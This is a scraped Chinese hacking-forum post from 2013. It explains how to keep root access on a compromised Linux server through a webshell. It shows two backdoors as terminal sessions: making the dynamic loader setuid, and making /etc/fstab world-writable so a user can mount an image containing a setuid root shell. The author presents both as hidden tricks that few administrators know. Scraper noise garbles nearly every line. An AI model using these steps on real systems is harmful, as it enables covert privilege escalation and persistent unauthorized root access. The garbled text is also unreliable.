中国网络渗透测试联盟

标题: webshell下LINUX提权+留后门 [打印本页]
作者: admin    时间: 2013-3-8 21:56
标题: webshell下LINUX提权+留后门
方法一：setuid的方法，其实8是很隐蔽。看看过程:2ezX-BUG-关注前沿信息安全技术研究
3 M7 S. Y. \* u) ]
& {3 a( Y" W+ h4 i[root@localdomain lib]# ls -l |grep ld-linux2ezX-BUG-关注前沿信息安全技术研究
. }. W& b8 M( H+ ~4 O; k9 Hlrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
& _7 O' f6 ?) }' T7 d1 Plrwxrwxrwx 1 root root 13 2008-06-07 17:47 ld-lsb.so.3 -> ld-linux.so.22ezX-BUG-关注前沿信息安全技术研究+ p0 P/ U9 _! Q" k! j. L
[root@localdomain lib]# chmod +s ld-linux.so.22ezX-BUG-关注前沿信息安全技术研究. c8 m, y8 |2 Q# e/ j- i( ]
[root@localdomain lib]# ls -l |grep ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
0 X, l# n+ o3 R4 I) J# D- A-rwsr-sr-x 1 root root 128952 2007-10-18 04:49 ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究/ l( r! K+ c6 |* g. ~# N. ]
lrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
# h" C% ?. u' Z[root@localdomain lib]#2ezX-BUG-关注前沿信息安全技术研究
; q, J4 X' a$ {8 f$ N5 f我们这里给/lib/ld-linux.so.2这个文件（在FC8里，它指向ld-2.7.so这个文件）加了setuid属性。然后我们看怎么利用它。2ezX-BUG-关注前沿信息安全技术研究
* a, g0 ]8 R. f% `# J, L: ]$ [/ x0 O" h( P3 u  f
普通用户登录，测试下权限：2ezX-BUG-关注前沿信息安全技术研究
: ^! u6 W- z5 s9 p4 t# f6 d8 v4 R/ s' ?- x: z0 U; L
[xiaoyu@localdomain ~]$ whoami2ezX-BUG-关注前沿信息安全技术研究! d6 ~6 P" I0 y: X9 A3 D
xiaoyu2ezX-BUG-关注前沿信息安全技术研究
  \- o' R  l" [. C[xiaoyu@localdomain ~]$ /lib/ld-linux.so.2 `which whoami`2ezX-BUG-关注前沿信息安全技术研究
  H7 z6 Z% D7 n, _root2ezX-BUG-关注前沿信息安全技术研究
6 `6 ]+ V* ^  ~  A[xiaoyu@localdomain ~]$2ezX-BUG-关注前沿信息安全技术研究
( s: l6 i' r1 n' ]9 K恩，嘿嘿 root了吧，具体怎么生成root shell，你们自己去想吧，凡事都不要点得太透，对吧。呵呵，可以肯定的一点，/lib/ld-linux.so.2 /bin/sh肯定生成不了rootshell， bash检查euid 和uid，看是否相等...OK，不多说了。2ezX-BUG-关注前沿信息安全技术研究
' n: n! M4 t! f  b# [" }+ W7 E- g+ Y) H$ {
$ M/ J# m" g3 t# J1 _! |方法二：2ezX-BUG-关注前沿信息安全技术研究- I" O; A! P  D/ ~7 t* I1 Z
8 s: ]9 E9 o  Q8 R
看过程:2ezX-BUG-关注前沿信息安全技术研究, s( H. y. C' G: _' E3 |
, P7 _( Q1 @8 k+ h( Y9 H5 |( L
[root@localdomain etc]# chmod a+w /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
' c' }9 x, G+ V0 I9 z: M[root@localdomain etc]#2ezX-BUG-关注前沿信息安全技术研究8 T) X, x9 B# [1 t. H; H9 E( t3 g
: s8 y/ i! _, D  W: I' _
这就留好了。此方法比较XXOXX，估计没几个管理员知道。利用方法演示下2ezX-BUG-关注前沿信息安全技术研究; p% f) g4 b' |, t! u8 E
# I( g0 ?. X5 S# U( ^
[xiaoyu@localdomain ~]$ ls -l /etc/fstab2ezX-BUG-关注前沿信息安全技术研究( E) w+ v+ x7 x3 A+ U% P
-rw-rw-rw- 1 root root 456 2008-06-07 17:28 /etc/fstab2ezX-BUG-关注前沿信息安全技术研究; V& F! r- k+ ]) E8 F9 x
[xiaoyu@localdomain ~]$ echo 'test /mnt ext2 user,suid,exec,loop 0 0' >> /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
: q' J  `0 I( b. `
; N" D9 L( n5 l0 M然后从本机把一个文件到目标机器上去，这里我们命名为test2ezX-BUG-关注前沿信息安全技术研究
9 |1 S% d; B& o% W6 q: B' j1 c8 i; m% ~  J0 h
[xiaoyu@localdomain tmp]$ ls -l test2ezX-BUG-关注前沿信息安全技术研究' U9 q, L/ ?' L. v0 m6 B
-rw-rw-r-- 1 xiaoyu xiaoyu 102400 2008-04-20 02:51 test2ezX-BUG-关注前沿信息安全技术研究
: g" |% P/ f) {& H  r[xiaoyu@localdomain tmp]$ mount test2ezX-BUG-关注前沿信息安全技术研究  N0 i! `0 j# q; K, [+ o% D1 L
[xiaoyu@localdomain tmp]$ cd /mnt2ezX-BUG-关注前沿信息安全技术研究9 r! S, E0 J, ^# o% u" _/ m7 I' W
[xiaoyu@localdomain mnt]$ ls -l2ezX-BUG-关注前沿信息安全技术研究
7 }$ c" Q; l% a& F* {) Ytotal 182ezX-BUG-关注前沿信息安全技术研究* Y$ q. m$ ?" ~2 N
drwx------ 2 root root 12288 2008-04-20 05:44 lost+found2ezX-BUG-关注前沿信息安全技术研究
+ R$ R& A7 [; [; d  }-rwsr-sr-x 1 root root 4927 2008-04-20 05:44 root2ezX-BUG-关注前沿信息安全技术研究; q  ]) v% D' R# _) i9 r+ B
[xiaoyu@localdomain mnt]$ ./root2ezX-BUG-关注前沿信息安全技术研究+ L# E1 s% P. y: D3 ~9 ^4 n* a
sh-3.2#2ezX-BUG-关注前沿信息安全技术研究
5 P! h4 ]: R8 {6 D看到了吧，从普通用户提升到root了。呵呵。2ezX-BUG-关注前沿信息安全技术研究3 E* X' F* w! B# D- o& P. {
test这个文件baidu貌似木有上传功能撒，木办法传2ezX-BUG-关注前沿信息安全技术研究7 D: E8 c. Z& Z: ]7 F

% l+ g8 S& }* e貌似可能有人说本地后门木啥鸟用，但是你要搞清楚：一个webshell里面就可以完成这一切....2ezX-BUG-关注前沿信息安全技术研究& R7 U& E2 G) {4 G2 ^
2ezX-BUG-关注前沿信息安全技术研究
" l1 a$ V- G( |0 Q! L% V, Y7 _/ }: a) M+ M0 S" g
作者: wuyu    时间: 2013-3-13 15:10
谢谢分享



欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2